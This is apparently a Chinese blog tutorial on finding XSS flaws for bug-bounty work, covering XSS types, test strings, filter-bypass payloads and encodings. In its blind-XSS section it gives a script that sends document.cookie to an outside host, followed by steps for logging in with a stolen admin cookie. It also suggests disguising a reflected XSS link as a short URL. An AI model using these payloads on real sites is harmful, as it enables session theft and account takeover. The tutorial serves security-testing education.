🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 中华人民共和国网络安全法
- 文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
- 漏洞发布要求
- 1.XSS测试规范
- 1.1 行业规范
- 1.2 概述
- 2.XSS原理
- 2.1 开发层面讲原理
- 2.1.1开发需求:
- 2.1.2实现结果:
- 2.1.3实现方式:
- 2.2 xss产生关键点:
- 2.3 xss类型:
- 2.3.1 区别:
- 3.XSS常见测试语句
- 3.1 无任何过滤
- 3.2 符合src测试规范
- 3.3 值标签内考虑闭合
- 3.4 text标签内需先闭合标签
- 4.XSS盲打
- 4.1 介绍
- 4.2 攻击者视角:
- 4.3 管理员视角:
- 5.XSS常用绕过方法(有过滤)
- 5.1 白名单标签
- 5.2 大小写转换
- 5.3 标签嵌套绕过单次移除
- 5.4 处理尖括号未处理引号
- 5.5 a标签href属性内且无法闭合属性
- 5.6 script标签内的测试,对尖括号有处理
- 5.7 其他payload
- 6.XSS测试常见编码
- 7.XSS常见测试场景
- 8.XSS多位置写入测试方法
- 9.XSS富文本测试
- 10.总结问题:
- 1.如果尖括号被转义:
- 2.判断事件属性过滤是黑名单还是白名单,判断不能插入标签
- 3.反射XSS变存储XSS
- 11、前文分享
- 中华人民共和国网络安全法
- 文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
- 漏洞发布要求
中华人民共和国网络安全法
第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具,明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
漏洞发布要求
1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险,
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时,应当同步发布修补或者防范措施
6.在国家举办重大活动期间,未经公安部同意,不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定
1.XSS测试规范
1.1 行业规范
存储xss漏洞,正确的方法是插入不影响他人的测试payload ,严禁弹窗,推荐使用console.log ,再通过自己的另一个帐号进行验证,提供截图证明。对于盲打类XSS ,仅允许外带domain信息。所有XSS测试,测试之后需删除插入数据,如不能删除,请在漏洞报告中备注插入点。
SRC行业安全测试规范
1.2 概述
跨站脚本(英语: Cross-site scripting ,通常简称为: XSS )是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
2.XSS原理
2.1 开发层面讲原理
2.1.1开发需求:
用户搜索关键词,列出搜索结果,同时页面显示用户搜索词
2.1.2实现结果:
用户访问www.test.com/search?queryString=PowerShell,列出PowerShell相关文章,同时页面展示搜索词PowerShell。
2.1.3实现方式:
1.获取用户queryString参数传递值“PowerShell”
2.去数据库中文章表查询匹配“PowerShell”的内容
3.将变量queryString值"PowerShell”与数据库查询结果一并通过html页面回显至浏览器
2.2 xss产生关键点:
用户提交(主动或被动)的数据内容被输出到html页面中
程序没有对用户提交内容做合理的处理,导致用户可以改变原有htm|语义或添加额外的html语句
2.3 xss类型:
反射型:测试语句经后端程序处理后直接输出 ,且不会对测试语句保存
存储型:测试语句经后端程序处理后保存 ,且会在相应位置输出测试语句
DOM型:测试语句由前端js代码输出,不局限于是否存储(绝大部分为反射型)
DOM ( Document Object Model )文档对象模型
2.3.1 区别:
网页源码能看到的就是反射或者存储
网页源码看不到的,浏览器debug可以看到的一般就是DOM型
DOM可能是反射(基本上)可能是存储(绝少数)
3.XSS常见测试语句
3.1 无任何过滤
<script> alert(1)</script>
3.2 符合src测试规范
<script> console.log("test")</script>
<script> console.log("aaaaaaaaa")</script>
页面没有任何感知,但是浏览器debug中会输出出来(符合规范的测试)
3.3 值标签内考虑闭合
"> <script> console.log("test") </script>
单引号,双引号,看到双引号不一定是双引号,可能程序后台做了转化
3.4 text标签内需先闭合标签
< /textarea> <script> console.log("test") </script>
< /textarea>该标签无法实现弹窗,需要先闭合他
4.XSS盲打
4.1 介绍
XSS盲打指攻击者对数据提交后展现结果未知的情况下,插入具有攻击性的xss利用语句,如果展现页面对攻击者提交内容没有合理过滤,则会触发xss攻击,实现攻击者的预定功能。常见于盗取后台管理员cookies并登陆后台。
<script>
document.write('<img src="http://192.168.31.103/pkxss/xcookie/cookie.php?
cookie='+document.cookie+" width="O" height="O" />');
</script>
输出一个内容 图片的标签 属性值是php一个地址 +当前cookie 宽为0高为0(隐藏)
4.2 攻击者视角:
1.XSS测试语句
2.可看到管理员从哪个页面利用这个cookie登录进入管理员页面
3.不使用cookie尝试登录 跳转回 提交页面
尝试使用抓到的cookie登录,可以直接用插件更改,也可使用浏览器的调试窗口更改cookie
4.成功进入管理管界面
5.很多时候只需要改cookie关键的字段就可以了,并不一定全部要更改,具体要看浏览器从哪个字段来验证登录身份
4.3 管理员视角:
管理员账号密码登录:页面看不到内容,但是可以在浏览器debug中看到(被X到)
5.XSS常用绕过方法(有过滤)
5.1 白名单标签
<img src= 1 onerror=alert(1)> (img 标签常用 onerror事件)
Pikachu DOM型XSS 示例:
<img src=1 onerror=alert(1)>提交成功弹窗
img标签:传一个错误的scr地址,加一个onerror属性
访问1这个地址出错就弹窗
5.2 大小写转换
<scTipt> alert(1) </sCript>
5.3 标签嵌套绕过单次移除
<scri<script> pt> alert(1) </scri<script> pt>
网站中< script >等字符(标签)过滤为空
5.4 处理尖括号未处理引号
' onmouseover= console.log("test")" (a标签一般采用这个属性)
当我们的鼠标移动到上面就会触发语句(尖括号不能用的情况)
或者采用时间属性等标签来实现绕过
实例:
aaaa’ onmouseover=alert(111)’
5.5 a标签href属性内且无法闭合属性
javascript:console.log('test')
href属性就是一个超链接
单引号 尖括号都不能用,我们可以采用伪协议的方式
实例:
javascript:alert(1) 点击超链接触发弹窗
5.6 script标签内的测试,对尖括号有处理
';alert(1);// 注意注释符(JavaScript的注释符)
本省在JavaScript标签里面,我们没必要闭合标签,闭合标签里面的单引号等等的就行了,然后;结束。然后注释掉标签里面的其他东西。
实例:
aaaa’;alert(1);//
5.7 其他payload
查询http://html5sec.org/
遇到特殊情况的XSS我们可以试一试
6.XSS测试常见编码
< //html编码,特征&开始, ;结束
< //html编码 ,特征&#开始, ;结束,中间的60为字符<的ascii编码
< //html编码 ,特征&#x开始, ;结束,中间的3c为字符<的十六进制
%3c //URL编码,特征%开始,后面3c为<的十六进制
\u003c //unicode编码 ,特征\u开头,后面为4个字符, 3c为<的十六进制, 00为填充
一般中文才用unicode编码
常见编码在线转换https://xssor.io/
转义的时候就会用到 这些编码 php有转义函数htmlspecialchars
7.XSS常见测试场景
站点内用户间私信
个人资料编辑(昵称、邮箱、姓名、地址… )
站点内容发布(发表文章、发表评论… )
客服对话窗口
订单流程(备注信息、收货地址、姓名… )
8.XSS多位置写入测试方法
对每个位置分别写入顺序字符进行标记
写入测试字符,观察字符返回情况
如图:
很多地方可以提交,我们就可以采用抓包,如图方式,标记
9.XSS富文本测试
富文本因为使用场景的需求,本身需要支持插入< a > < img >等标签,因此不会统一使用html编码处理,我们可以在此基础上进行更多的xss测试。
富文本测试思路很多
10.总结问题:
1.如果尖括号被转义:
如果这个东西出现在标签里面,我们可以利用标签里的事件属性方法去测试;
没在标签里,就可以放弃了。
2.判断事件属性过滤是黑名单还是白名单,判断不能插入标签
3.反射XSS变存储XSS
某网站发现反射xss
同站点发现可插入超链接的位置,将反射xss转换为短网址后插入(转为短网址的目的为看起来更不容易引起怀疑)
发表成功,点击链接即触发xss
11、前文分享
[ 漏洞挖掘基础篇一 ] 信息收集之在线收集
[ 漏洞挖掘基础篇二 ] 信息收集之工具站点
[ 漏洞挖掘基础篇三 ] 漏洞挖掘之fuzz测试
[ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘
中华人民共和国网络安全法
第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具,明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
漏洞发布要求
1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险,
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时,应当同步发布修补或者防范措施
6.在国家举办重大活动期间,未经公安部同意,不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定